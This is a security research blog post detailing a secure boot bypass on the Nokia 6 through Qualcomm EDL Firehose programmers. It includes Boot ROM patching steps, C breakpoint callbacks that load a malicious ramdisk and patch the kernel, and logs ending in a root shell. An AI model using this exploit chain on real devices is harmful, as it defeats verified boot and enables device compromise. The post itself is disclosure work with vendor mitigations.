<--

Exploiting Qualcomm EDL Programmers (5): Breaking Nokia 6's Secure Boot

By Roee Hay (@roeehay) & Noam Hadad
January 22, 2018
* *

In the previous parts we presented our exploit which abuses the peek and poke ‘features’ of the Qualcomm EDL Firehose programmers. We then described our debugger, and also showed how we managed to extract the Boot ROM of select MSM SoCs.

In this post we show our complete Secure Boot bypass exploit against Nokia 6 MSM8937 (should work on Nokia 5 as well, although unverified), that takes advantage of the above capabilities. We argue that a similar exploit could theoretically work on other MSM8937 devices, and may be extended to other MSM chipsets, at least for those we gained code execution in EL3. Despite that, future research is required to overcome some technical challenges presented in the last section of this post.

Unfortunately, one can cause Nokia 6’s (and maybe Nokia 5’s) SBL to reboot into EDL, by using a custom USB cable (see Part 1) - ALEPH-2017029. This allows for the following worrying attack to be conducted by malicious chargers – the only requirement is a powered-off device to be connected. Otherwise, the charger can just wait for the battery to completely drain.

An Idea for An Exploit

When we saw that our code, in some chipsets, executes in EL3, we realized that we could theoretically implement the SBL’s functionality, and load the rest of the bootloader chain, breaking secure boot.

While this may work, it requires much effort, so we quickly figured we could theoretically conduct a different attack – what if we jumped to the PBL from the Firehose programmer itself? Could we circumvent the PBL the skip the verification of the SBL, which will skip the verification of ABOOT, TrustZone and so forth, using our debugger?

[Primary Bootloader (PBL)]
|
`---EDL---.
           [Programmer (Firehose)]
           |
            `- Debugger (firehorse)
               |   `.
               |--> [Primary Bootloader (PBL)]
               |    `.
               |-->  [Secondary Bootloader (SBL)]
               |     |-.
               |-->  | [Android Bootloader (ABOOT)]
               |     | `-.
               |     |   [boot.img]
               |-->  |   - Linux Kernel
               |-->  |   - initramfs
               |     |     `-.
               |     |       [system.img]
               |     |
               `-->  `-[TrustZone]

A Return to PBL Attack

In Nokia 6, simply branching to address 0x100000 (the PBL reset vector), resulted in a warm boot:

> firehorse.py -t nokia6 fw exec 0x100000

Format: Log Type - Time(microsec) - Message - Optional Info
Log Type: B - Since Boot(Power On Reset),  D - Delta,  S - Statistic
S - QC_IMAGE_VERSION_STRING=BOOT.BF.3.3-00193
S - IMAGE_VARIANT_STRING=FAASANAZA
S - OEM_IMAGE_VERSION_STRING=cm-build-c14
S - Boot Config, 0x000000e1
B -   6962630 - PBL, Start
B -   6964598 - bootable_media_detect_entry, Start
B -   6995441 - bootable_media_detect_success, Start
B -   6995447 - elf_loader_entry, Start
B -   6998124 - auth_hash_seg_entry, Start
B -   7012013 - auth_hash_seg_exit, Start
B -   7040491 - elf_segs_hash_verify_entry, Start
B -   7140491 - PBL, End
[...]
Android Bootloader - UART_DM Initialized!!!
[0] welcome to lk

[10] platform_init()
[10] target_init()
[30] SDHC Running in HS400 mode
[30] Done initialization of the card
[40] pm8x41_get_is_cold_boot: Warm boot
[40] Qseecom Init Done in Appsbl
[...]

This is a very significant result because it means that we could theoretically execute the PBL, and the rest of the chain, while our debugger is up & running.

Patching the PBL

In order to make the PBL skip the verification of the SBL, we must place patches on the PBL, i.e. on the Boot ROM itself. By definition, this is not possible. What we found, however, is that we can remap individual page table entries such that virtual addresses belonging to the Boot ROM area now point at writable physical locations (IMEM). Before we remap, we copy the content of such pages, and then place the actual patches on the copied data.

Before the attack:

Virtual Address Physical Address Memory Type Access Content
0x100000 0x100000 ROM R-X PBL (Boot ROM)
0x8080000 0x8080000 IMEM RWX -

After page remapping, cloning & patching:

Virtual Address Physical Address Memory Type Access Content
<unmapped> 0x100000 ROM R-X PBL (Boot ROM)
0x100000 0x8080000 IMEM RWX Patched PBL Clone
0x8080000 0x8080000 IMEM RWX Patched PBL Clone

While this sounds like a neat idea, it suffers from a major drawback. The MMU must stay alive during the execution of the PBL. Unfortunately, this is not the case, since the PBL resets the MMU. In addition, the PBL resets the VBAR registers, causing debugger to detach.

To bypass the first problem, we can simply patch the MMU resetting code, where the second, can be tackled by patching the PBL error handler, that gets called by all of the exception handlers of the PBL.

Recap: The MSM 8917/8937 PBL

As a reminder from Part 1, the reset handler (address 0x100094) of the PBL roughly looks as follows:

int init()
{
  int (__fastcall *v5)(pbl_struct *); // r1
  __mcr(15, 0, 0x100000u, 12, 0, 0);
  if ( !(MEMORY[0x1940000] & 1) )
  {
    if ( !reset_MMU_and_other_stuff() )
      infinite_loop();
    memzero_some_address();
    timer_memory_stuff();
    init_pblStruct();
    v4 = 0;
    while ( 1 )
    {
      v5 = *(&initCallbacks + v4);
      if ( v5 )
        v3 = v5(&pbl);
      if ( v3 )
        pbl_error_handler("./apps/pbl_mc.c", 516, 66304, v3);
      if ( ++v4 >= 0x14 )
      {
        while ( 1 )
          ;
      }
    }
  }
}

We can see that this function, resets the MMU and some other system registers, in a function located at 0x110004, which we will get to soon. It also iterates over a vector of routines (initVector), located at 0x10CE0C:

ROM:0010CE0C     initVector   
ROM:0010CE0C                  
ROM:0010CE0C                  
ROM:0010CE10   DCD 0
ROM:0010CE14   DCD pbl_hw_init
ROM:0010CE18   DCD 0
ROM:0010CE1C   DCD pbl_initialize_pagetables
ROM:0010CE20   DCD 0
ROM:0010CE24   DCD pbl_stack_init
ROM:0010CE28   DCD 0
ROM:0010CE2C   DCD pbl_copy_some_data
ROM:0010CE30   DCD 0
ROM:0010CE34   DCD pbl_sense_jtag_test_points_edl
ROM:0010CE38   DCD 0
ROM:0010CE3C   DCD pbl_flash_init
ROM:0010CE40   DCD 0
ROM:0010CE44   DCD pbl_load_elf_sahara_stuff
ROM:0010CE48   DCD 0
ROM:0010CE4C   DCD pbl_mc_init5
ROM:0010CE50   DCD 0
ROM:0010CE54   DCD pbl_jmp_to_sbl
ROM:0010CE58   DCD 0```

Given this high-level overview of the PBL, we will be able to pinpoint the locations of our needed patches. But first, we must re-attach our debugger!

Re-attaching our Debugger

Reading some PBL code quickly reveals that all of the PBL abort handlers (including the undefined instruction handler) flow into a function located at 0x103e8c, which we coined pbl_error_handler. Therefore, to re-attach our debugger, we simply hooked that function’s prologue.

After re-attaching our debugger, we could use its function tracing functionality in order to place breakpoints at various addresses, and see where we lose our control (i.e. where the MMU is disabled and such).

Staying Alive: Disabling the MMU Disablement and Page Table Initialization

Controlling the MMU is done by the System Control Register (SCTLR) whose LSB enables/disables the MMU. Combining our debug tracing functionality with some static matching (e.g. MCR.+p15.+c1.+c0) quickly revealed the following function (which is a descendant of reset_MMU_and_other_stuff):

ROM:00110004  do_some_system_control
ROM:00110004  STMFD  SP!, {LR} ; Store Block to Memory
ROM:00110008  MOV    R0, #1  ; Rd = Op2
ROM:0011000C  MCR    p15, 0, R0,c3,c0, 0 ; dacr - set as client for domain 0
ROM:00110010  MRC    p15, 0, R0,c1,c0, 0 ; system control register
ROM:00110014  BIC    R0, R0, #1 ; Rd = Op1 & ~Op2
ROM:00110018  MCR    p15, 0, R0,c1,c0, 0 ; system control register - DISABLES MMU
ROM:0011001C  MRC    p15, 0, R0,c1,c0, 0 ; system control register
ROM:00110020  BIC    R0, R0, #0x1000 ; Rd = Op1 & ~Op2
ROM:00110024  BIC    R0, R0, #4 ; Rd = Op1 & ~Op2
....

Naturally, the MMU disablement can be removed by replacing the instruction at 0x110014 with NOP. This will ensure the LSB of SCTLR remains intact (i.e. enabled).

After placing this NOP, our debugger should survive throughout the execution of the PBL, until it jumps to SBL. Not so fast… We soon discovered, that one of the initVector routines (later given its describing name - pbl_initialize_pagetables) is in charge of initializing the page tables. We therefore simply replaced this initialization with NOPs. That worked because the page tables of the programmer are probably a superset of the page tables that are needed by the operation of the PBL, constructed by the very same code…

Another patch that was placed was elevating all of the domains to ‘manager’. We did so by replacing the instruction located at 0x110008 with MOV R0, #0xFFFFFFFF. That ensured that we would not tackle any data / instruction fetch aborts.

More PBL patches

Jumping to the patched-PBL at this stage did not reach the SBL. Using our debugger functionality, we soon discovered that the PBL fails at some function located at 0x103320, or more high-level, in pbl_auth.c line 151.

int __fastcall pbl_auth(__int64 a1, int a2)
{
[...]  
v8 = _inner_pbl_auth(0, &v11, &dword_800351C, &dword_80040C0);
if ( v8 )
    pbl_error_handler("./apps/pbl_auth.c", 151, v8 | 0xA0000, dword_80040C0);

[...]
}

Since we did not modify any SBL code at this stage, it seems that our exploit code had some side-effect over that function. Despite that, overcoming this last PBL obstacle is quite easy – we reversed the check on v8.

Patching the SBL from the PBL Context

Having our debugger attached in the PBL context allowed us to easily patch the SBL in runtime. By doing so we managed to escape the tedious task of reverse engineering the PBL verification of the SBL code (which goes beyond what described above), and place patches on the SBL, after it has been verified and just before its execution.

We do so by setting a breakpoint with a callback right before the PBL jumps to the SBL (the pbl_jmp_to_sbl routine). Our callback is then executed in the context of the pbl_jmp_to_sbl and patches the already-validated SBL.

The patches we place on the SBL make sure our debugger stays alive after the PBL to SBL transition.

The SBL sets the VBAR register in its reset handler:

LOAD:08006730 entry
LOAD:08006730
LOAD:08006730 ; FUNCTION CHUNK AT LOAD:080068A8 SIZE 00000004 BYTES
LOAD:08006730
LOAD:08006730  MSR             CPSR_c, #0xD3
LOAD:08006734  MOV             R7, R0
LOAD:08006738  LDR             R0, =0x8005000
LOAD:0800673C  MCR             p15, 0, R0,c12,c0, 0
[...]

Therefore, in order for our debugger to still be able to catch undefined instruction exceptions, we patch the new handlers pointed by the SBL vector table located at 0x8005000.

The SBL is in charge of loading, verifying and executing the next bootloader in the chain - ABOOT, so similarly to the technique we used before, in order to patch ABOOT, we place a breakpoint after it has already been loaded and validated by the SBL. More concretely, at the prologue of the function located at 0x0803E220.

Patching the ABOOT from the SBL Context

Our breakpoint’s callback can now patch ABOOT, without caring about the fine details of the ABOOT verification by the SBL. In order to avoid been overidden by ABOOT, our ABOOT patcher copies and rebases our exploit code into a different, “safe” address. Similarly to the SBL, ABOOT also changes VBAR, so we also re-attach our debugger by hooking the undefined instruction exception handler.

The callback can now place breakpoints (described next) on ABOOT, which will get hit during ABOOT’s execution.

SBL then executes ABOOT, with our debugging code attached.

ABOOT’s Placed Breakpoints

The goal of our exploit code is to be able to patch the Linux kernel, and load an alternate ramdisk, giving us unrestricted root (i.e. with permissive SELinux) access through adb.

To do so, we place 3 breakpoints:

  • The first breakpoint is in charge of loading our own malicious ramdisk from an unused (or non-mandatory) partition (logdump) in the EMMC into the DDR. In order to write our ramdisk in the unused partition, we abuse the Firehose flashing functionality as a preliminary step prior to the execution of our exploit. The DDR destination we used is an offset into the ABOOT scratch base, returned by get_scratch_address. In order to avoid implementing our own EMMC reader, we simply call the ABOOT implemented one. Our callback’s C code is as simple as that:
void cb_mmcread()
{
 
    int logdump = partition_get_index("logdump");
    unsigned long long logdumpoffset = partition_get_offset(logdump);
    int logdumplun = partition_get_lun(logdumpoffset);
    u_int32 scratch = get_scratch_address();

    mmc_set_lun(logdumplun);
    int blocksize = mmc_get_device_blocksize();
        
    u_int32 ramdisksize = RAMDISK_SIZE + (blocksize - mod(RAMDISK_SIZE, blocksize));

    mmc_read(logdumpoffset, ADDR_SCRATCH_RAMDISK, ramdisksize);

}
  • We place a second breakpoint at 0x8F6178F8, just before Linux is jumped to (through the monitor), hence the boot image at this stage has already been verified by ABOOT.
LOAD:8F6178E0 MOV   R3, #(dword_8F6DC404+0xBFC)
LOAD:8F6178E8 STRD  R0, [R3,#0x48]
LOAD:8F6178EC MOV   R0, #aJumpingToKerne ; "Jumping to kernel via monitor\n"
LOAD:8F6178F4 BL    dprint
LOAD:8F6178F8 BL    sub_8F616B90
LOAD:8F6178FC MOV   R3, R0

This breakpoint’s callback copies our DDR-residing malicious ramdisk from the scratch area to the one expected to be loaded by the Linux kernel. This is also the point where we patch the Linux kernel.

void cb_before_linux()
{
    patch_kernel();
    memcpy(ADDR_RAMDISK, ADDR_SCRATCH_RAMDISK, RAMDISK_SIZE);
    
}
  • ABOOT passes the ramdisk size to the Linux kernel through the Device-Tree Blob (DTB). Since we mess with the ramdisk, we need to adjust its size accordingly. To do so, we place another breakpoint at the function (0x8F635078) that is in charge of constructing the DTB and Kernel command-line (which allows us to mess with the cmdline too!). Our callback is printed below. Notice that the debugging framework makes it much convenient to modify specific registers before returning from a breakpoint. We use it here to both read and modify the cmdline in runtime (pointed by R7), and change the passed ramdisk size argument (through R5) to the DTB construction routine.
void cb_bootlinux(cbargs *cb)
{
    char *cmdline = cb->regs[R7];
    char buf[]= "console=ttyHSL0,115200,n8 androidboot.console=ttyHSL0 androidboot.hardware=qcom msm_rtb.filter=0x237 ehci-hcd.park=3 lpm_levels.sleep_disabled=1 androidboot.bootdevice=7824900.sdhci loglevel=7 buildvariant=user";
    D("Setting ramdisk size to %d", RAMDISK_SIZE);
    cb->regs[R5] = RAMDISK_SIZE;

    D("Printing cmdline from %08x", cmdline);
    D("cmdline = %s", cmdline);
    
    memcpy(cmdline, buf, sizeof(buf));

}

This is it! ABOOT will now continue to load Linux/Android with our patches and modified ramdisk.

Putting it All Together

To conclude, we managed to execute code in each part of the secure boot chain, from the PBL to Android itself, through the SBL and ABOOT and even TrustZone. Each step enabled the execution of our malicious code in the next one.

The following UART log shows the execution of our exploit:

Firehose context:

B -  33643360 - PBL patcher called!
B -  33643360 - pagecopy: number of pages: 5
B -  33644123 - src: 00110000  dst:08090000
B -  33648637 - src: 00100000  dst:08080000
B -  33652510 - src: 00103000  dst:08083000
B -  33656414 - src: 00104000  dst:08084000
B -  33660288 - src: 00105000  dst:08085000
B -  33664192 - pagecopy: done with 5 pages
B -  33667638 - number of pages: 5
B -  33670810 - src: 00110000  dst:08090000
B -  33674714 - src: 00100000  dst:08080000
B -  33678588 - src: 00103000  dst:08083000
B -  33682492 - src: 00104000  dst:08084000
B -  33686396 - src: 00105000  dst:08085000
B -  33690300 - done with 5 pages
B -  33693289 - number of breakpoints: 6
B -  33697010 - &fh->bps = 00000000080d0009
B -  33700914 - Reading patchlen @ 00000000080d0005 = 0000006b
B -  33706526 - firehorse getcontext end. fh = 080d0000
B -  33711467 - Installing bp for va 0x0010527c
B -  33715615 - Installing bp for va 0x00104130
B -  33719885 - PBL patcher called done!

PBL context:

B -  33944944 - SAVED SP = 00205400
B -  33944975 - fixedlr (entry): 0010527c thumb: 0
B -  33946286 - ./apps/pbl_error_handler.c-1b1-pbl_sense_jtag
B -  33951898 - r00 0021863c r01 0010527c r02 00000000 r03 00000000
B -  33957693 - r04 0000000a r05 00000000 r06 0010ce0c r07 00000000
B -  33963854 - r08 00000000 r09 00000000 r10 00000000 r11 00000000
B -  33969680 - r12 00000001 sp  00205400  lr 00105280
B -  33974743 - spsr 200000d3 cpsr 800000db dfar d44b8987 ifar 39e1aeb1
B -  33981087 - dfsr e08d6018 ifsr 00001411 dacr ffffffff
B -  33986150 - bkva: 0010527c bkinst: e92d4070
B -  33990389 - Calling callback(10) - 080b0048

SBL context:

S - QC_IMAGE_VERSION_STRING=BOOT.BF.3.3-00193
S - IMAGE_VARIANT_STRING=FAASANAZA
S - OEM_IMAGE_VERSION_STRING=cm-build-c14
S - Boot Config, 0x000000e1
B -  33957704 - foo
B -  34007638 - bootable_media_detect_entry, Start
B -  34038354 - bootable_media_detect_success, Start
B -  34038358 - elf_loader_entry, Start
B -  34039841 - auth_hash_seg_entry, Start
B -  34053641 - auth_hash_seg_exit, Start
B -  34081876 - elf_segs_hash_verify_entry, Start
B -  34180909 - PBL, End
B -  34167869 - SBL1, Start
B -  34207458 - pm_device_init, Start
B -  34212795 - PON REASON:PM0:0x20020 PM1:0x20020
D -     25650 - pm_device_init, Delta
B -  34237226 - boot_flash_init, Start
[...]
B -  34536705 - SAVED SP = 0805e000
B -  34539969 - fixedlr (entry): 0803e220 thumb: 1
B -  34544513 - AAA-3000-SBLEnd
B -  34547350 - r00 000002fa r01 00000000 r02 00000010 r03 0000001b
B -  34553419 - r04 00223b28 r05 0806ba90 r06 00000000 r07 080609e8
B -  34559214 - r08 66a6b04d r09 020dff3c r10 01000001 r11 00000000
B -  34565375 - r12 078b0000 sp  0805e000  lr 0803e222
B -  34570164 - spsr 000000f3 cpsr 800000db dfar d44b8987 ifar 39e1aeb1
B -  34576599 - dfsr e08d6018 ifsr 00001411 dacr 55555555
B -  34581693 - bkva: 0803e220 bkinst: a00eb510
B -  34585841 - Calling callback(11) - 080b004c
B -  34590111 - FOOBAR
B -  34597858 - SBL1, End
D -    429989 - SBL1, Delta
S - Flash Throughput, 28000 KB/s  (2604504 Bytes,  91827 us)
S - DDR Frequency, 806 MHz
S - Core 0 Frequency, 800 MHz

ABOOT context:

Android Bootloader - UART_DM Initialized!!!
[0] welcome to foo
[10] platform_init()
[...]
[6260] SAVED SP = 8f6d8400
[6260] fixedlr (entry): 8f633754 thumb: 0
[6260] AAA-4000-mmcread
[6270] r00 a3000000 r01 018aa000 r02 00000053 r03 00000053
[6270] r04 8f6e7e04 r05 8f6cac4c r06 8f6e75e0 r07 a3000000
[6280] r08 8f6cac4c r09 8f6e63c0 r10 8f66ddac r11 a3000000
[6280] r12 8f6e7e04 sp  8f6d8400  lr 8f633758
[6290] spsr 60000153 cpsr 300001db dfar 00000000 ifar 00000000
[6290] dfsr 00000000 ifsr 00000021 dacr 00000001
[6300] bkva: 8f633754 bkinst: e30b066c
[6300] Calling callback(22) - 8f900078
[6300] blocksize = 0x00000200
[6310] copying our ramdisk...
[6320] fixed lr=8f633754, reproduced instruction: e30b066c
[6320] Authenticating boot image (25862144): start
[...]
[7780] SAVED SP = 018aa000
[7780] fixedlr (entry): 8f635078 thumb: 0
[7780] AAA-4000-bootlinux
[7780] r00 10080000 r01 00000053 r02 8f6e5400 r03 00000000
[7790] r04 8f6e7e04 r05 001ea8f9 r06 13600000 r07 8f6e5400
[7790] r08 13400000 r09 018ee7ff r10 a48aa800 r11 10080000
[7800] r12 001ea8f9 sp  018aa000  lr 8f63507c
[7800] spsr 60000153 cpsr 300001db dfar 00000000 ifar 00000000
[7810] dfsr 00000000 ifsr 00000021 dacr ffffffff
[7810] bkva: 8f635078 bkinst: ebff3bab
[7820] Calling callback(23) - 8f90007c
[7820] Setting ramdisk size to 2016526
[7820] Printing cmdline from 8f6e5400
[7830] cmdline = console=null              androidboot.console=ttyHSL0 androidboot.hardware=qcom msm_rtb.filter=0x237 ehci-hcd.park=3 lpm_levels.sleep_disabled=1 androidboot.bootdevice=7824900.sdhci earlycon=null                   loglevel=0 buildvariant=user
[7850] fixed lr=8f635078, reproduced instruction: ebff3bab
[...]
[7980] booting linux @ 0x10080000, ramdisk @ 0x13600000 (2016526), tags/device tree @ 0x13400000
[7980] Jumping to kernel via monitor
[7980] SAVED SP = 00000053
[7980] fixedlr (entry): 8f6178f8 thumb: 0
[7980] AAA-4000-beforelinux
[7980] r00 0000001e r01 8f6ffc02 r02 00000053 r03 00000053
[7980] r04 8f635590 r05 8f6e5400 r06 10080000 r07 8f6e7e04
[7980] r08 13400000 r09 018ee7ff r10 a48aa800 r11 8f6ffec4
[7980] r12 c3a620df sp  00000053  lr 8f6178fc
[7980] spsr 600001d3 cpsr 300001db dfar 00000000 ifar 00000000
[7980] dfsr 00000000 ifsr 00000021 dacr ffffffff
[7980] bkva: 8f6178f8 bkinst: ebfffca4
[7980] Calling callback(16) - 8f900060
[7980] fixed lr=8f6178f8, reproduced instruction: ebfffca4

ADB shell:

$ adb shell
D1C:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0
D1C:/ # getenforce
Permissive
D1C:/ # 

Failed Attempts: Porting the Attack to Other Devices

In addition to Nokia 6, we attempted to conduct a similar attack on other devices too. As for other devices with aarch32 programmers, we tried to perform the attack on Xiaomi Note 5A ugglite. However, although we managed to patch & jump to the PBL in a similar manner, its PBL failed to initialize the flash (due to an unknown reason).

The PBL flash initialization routine is pbl_flash_init, presented in Part 1:

int __fastcall pbl_flash_init(pbl_struct *pbl)
{
  
 [...]
  v3 = pbl->bootmode;
  if ( v3 == edl )
  {
    if ( some_sahara_stuff(v1) )
      goto LABEL_13;
    goto LABEL_14;
  }
  [...]
  v2 = pbl_flash_sdcc(pbl);                      // v3 = 0
  if ( v2 != 3 && some_sahara_stuff(pbl) )
LABEL_13:
    pbl_error_handler("./apps/pbl_flash.c", 134, 66048, v2);
LABEL_14:
  if ( !flashStructLocation )
    pbl_error_handler("./apps/pbl_flash.c", 138, 66304, 0);
  [...]
  return 0;
}

By tracing this code we realized that, in contrast to the Nokia 6 case, pbl_flash_sdcc fails – it will retry several dozens times until finally giving up. This routine, according to Part 1, instructs the PBL to go into EDL instead of loading the SBL from flash.

We also tried to take a different approach, and exploit the fact that the Xiaomi Note 5A’s Firehose programmer seems to be an SBL, with an addition (firehose_main) to its initialization vector that never returns – so instead of jumping to the PBL, could we make the programmer load the rest of the chain? Recall from Part 1, during the SBL/Firehose initialization, ImageLoad walks over a vector of routines:

LOAD:0805C0C8 callbacks  DCD nullsub_35+1
LOAD:0805C0CC            DCD boot_flash_init+1
LOAD:0805C0D0            DCD sub_801ACB0+1
LOAD:0805C0D4            DCD sub_804031C+1
LOAD:0805C0D8            DCD sub_803FF08+1
LOAD:0805C0DC            DCD sub_803FCD0+1
LOAD:0805C0E0            DCD firehose_main+1
LOAD:0805C0E4            DCD sub_8040954+1
LOAD:0805C0E8            DCD clock_init_start+1
LOAD:0805C0EC            DCD sub_801B1AC+1
LOAD:0805C0F0            DCD boot_dload+1
int __fastcall ImageLoad(sbl_struct *sbl, image_load_struct *aImageLoad)
{
  [...]
  loop_callbacks(sbl, aImageLoad->callbacks);
  [...]
  if ( imageLoad->field_14 == 1 )
  {
    v5 = sub_801CCDC();
    uartB("Image Load, Start");
    v8 = imageLoad->field_C;
    if ( v8 == 1 )
    {
      if ( !boot_pbl_is_flash() )
      {
        [...]
        ERROR("sbl1_sahara.c", 816, 0x1000064);
        while ( 1 )
          ;
      }
	[...]
	  boot_elf_loader(v9, &v27);
	[...] 
  loop_callbacks(sbl, imageLoad->callbacks2);
	[...]
  return result;
}

The idea was to set the firehose_main to a nullsub, similarly to the actual SBL, and call ImageLoad once again. Our hope was that it would then act just as a normal SBL. Doing so naively is doomed to fail, because the SBL expects a data structure from the PBL (pbl2sbl_data), which has different data when it loads the Firehose programmer instead of the SBL – for instance, the flash is marked as uninitialized. So what we did, and this was where the research stopped, was to use the fact the Note 5A and Nokia 6 share the same PBL, and use the provided structures of the former, which we can collect in runtime using the debugger, and then set them accordingly (before we call ImageLoad with the fixed callbacks vector):

pbl2sbl_data:
08003100: 00 00 01 00 00 00 10 10   03 00 00 00 00 00 00 00   | ................ |
08003110: 00 00 00 00 00 00 20 00   00 50 00 00 00 30 00 08   | ...... ..P...0.. |
08003120: 00 30 00 00 00 30 00 08   b0 04 00 00 78 30 00 08   | .0...0......x0.. |
                                                         
flash:                                                   
08003078: 05 00 00 00 00 40 82 07   08 00 00 00 04 00 00 00   | [email protected]▒......... |
08003088: 00 02 00 00 09 00 00 00   01 00 00 00 04 00 00 00   | ................ |
08003098: 00 e0 a3 03 06 00 00 00   05 00 00 00 02 00 00 00   | ................ |
080030a8: 01 00 00 00 00 00 00 00   38 00 00 00 02 00 00 00   | ........8....... |
080030b8: 01 00 00 00 01 00 00 00   10 00 06 00 00 00 00 00   | ................ |
080030c8: 0f 04 06 00 00 00 00 00   00 00 00 00 00 00 00 00   | ................ |
080030d8: 00 00 00 00 00 00 00 00   00 00 00 00 00 00 00 00   | ................ |
080030e8: 00 00 00 00 00 00 00 00   00 00 00 00 00 00 00 00   | ................ |
080030f8: 00 00 00 00 00 00 00 00   00 00 01 00 00 00 10 10   | ................ |
                                                         

Sadly, while the initialization vector completed, we were still left with an uninitialized flash, which caused the following routine to go into the error condition:

void *__fastcall inside_boot_elf_loader(int val, int a2)
{
  [...]
  v3 = boot_flash_dev();
  (*(*(v3 + 4) + 0x28))(v2);
  if ( !off_805CC8C )
  {
    v4 = boot_flash_dev();
    off_805CC8C = (**(v4 + 4))(0x1B);
  }
  if ( !off_805CC8C )
  {
    ERROR("boot_elf_loader.c", 1041, 0x1000001);
    while (1);
  }
[...]
}

Despite that, we are still optimistic that such an attack is possible on other devices too, considering the privilege level we gained on the aarch32 programmers, and given the fact that the programmers actually talk with the SDCC. The next option we are looking at is writing our own ELF loader. Then we will hopefully be able load the needed images ourselves (not necessarily from flash). That is of course not guaranteed to work, as we do not gain code execution in an uninitialized state.

As for aarch64, jumping to the PBL requires to be able to go back into aarch32 without lowering the privilege level – impossible according to the ARMv8 specification. Despite that, one may still request a warm reset using the RMR_EL3 register. (This is only partially applicable as some aarch64 programmers end in EL1.) Hoping that the MMU will stay alive (which we require for the PBL patching) while that happens is far-fetched, however, such a warm reset request did not work anyway. Another option is to request a warm reset from the PMIC (again while keeping the MMU on), a direction we are still investigating, without any positive result yet. In addition, similarly to aarch32, we are also looking into writing our own ELF loader within the aarch64 programmer.

Final Thoughts

In this series of blog posts we presented our research into Qualcomm Firehose programmers, that led to significant results such as our research & exploitation framework, extraction and analysis of PBLs, and a complete Secure Boot attack against our Nokia 6 device.

We feel that the problem of Firehose programmers is two-fold. First, there is an operational problem – these programmers MUST NOT get out of the OEMs’ premises. Second, the capabilities Firehose programmers have should be reduced. For example, there is absolutely no reason to have the peek & poke primitives implemented. (which according to Qualcomm, by the way, are OEM additions).

As for the mitigation, OEMs should block the leaked programmers from loading. This can be done using hardware fuses as documented by Qualcomm. In addition, OEMs should do their best to block access to EDL, by removing the risky usermode / hardware triggers (e.g. adb reboot edl and custom USB cables).